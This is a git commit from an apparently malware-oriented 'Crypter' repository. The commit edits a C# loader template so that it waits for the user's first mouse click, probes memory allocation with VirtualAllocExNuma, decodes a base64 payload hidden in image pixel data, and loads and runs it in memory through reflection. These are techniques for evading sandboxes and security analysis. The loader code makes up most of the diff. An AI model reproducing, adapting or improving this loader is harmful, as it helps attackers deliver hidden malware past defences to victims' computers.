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Crypter
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add mousehook to imgcrypt

This commit is contained in:
qwqdanchun 2020-05-26 16:09:51 +08:00
parent b5173fc380
commit 42d2e71373
2 changed files with 55 additions and 24 deletions
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75
Crypter/Resources/imgcrypt.txt
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@ -3,19 +3,64 @@ using System.Drawing;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using Gma.System.MouseKeyHook;
namespace imgc
namespace DCloader
{
class Program
{
[DllImport("kernel32.dll")]
private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);
static void Main(string[] args)
{
object mem = null;
mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, 0, 1000, 0x00002000 | 0x00001000, 0x40, 0);
ListenForMouseEvents();
//Run the app as a windows forms application
Application.Run(new ApplicationContext());
}
[DllImport("kernel32.dll")]
private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);
public static void ListenForMouseEvents()
{
int firstTime = 0;
//When a mouse button is pressed
Hook.GlobalEvents().MouseDown += async (sender, e) =>
{
if (firstTime == 0)
{
firstTime++;
AppDomain tempDomain = AppDomain.CreateDomain("TempDomain");
tempDomain.DoCallBack(Load);
Hook.GlobalEvents().Dispose();
}
};
}
public static byte[] depixelate(Bitmap img)
{
StringBuilder holder = new StringBuilder();
int xmax = img.Width - 1;
int ymax = img.Height - 1;
for (int y = 1; y <= ymax; y++)
{
for (int x = 1; x <= xmax; x++)
{
Color c = img.GetPixel(x, y);
holder.Append((char)c.R);
}
}
return Convert.FromBase64String(holder.ToString().Replac​e(Convert.ToChar(0).ToString(), ""));
}
private static void Load()
{
object mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, 0, 1000, 0x00002000 | 0x00001000, 0x40, 0);
if (mem != null)
{
@ -54,26 +99,8 @@ namespace imgc
Console.WriteLine("Running...");
System.Reflection.Assembly.Load(outputLoader).GetType("Loader.Loader").GetMethod("RunProgram").Invoke(null, new object[] { outputFile });
}
}
public static byte[] depixelate(Bitmap img)
{
StringBuilder holder = new StringBuilder();
int xmax = img.Width - 1;
int ymax = img.Height - 1;
for (int y = 1; y <= ymax; y++)
{
for (int x = 1; x <= xmax; x++)
{
Color c = img.GetPixel(x, y);
holder.Append((char)c.R);
}
}
return Convert.FromBase64String(holder.ToString().Replac​e(Convert.ToChar(0).ToString(), ""));
}
}
}

4
Crypter/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs Normal file
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@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]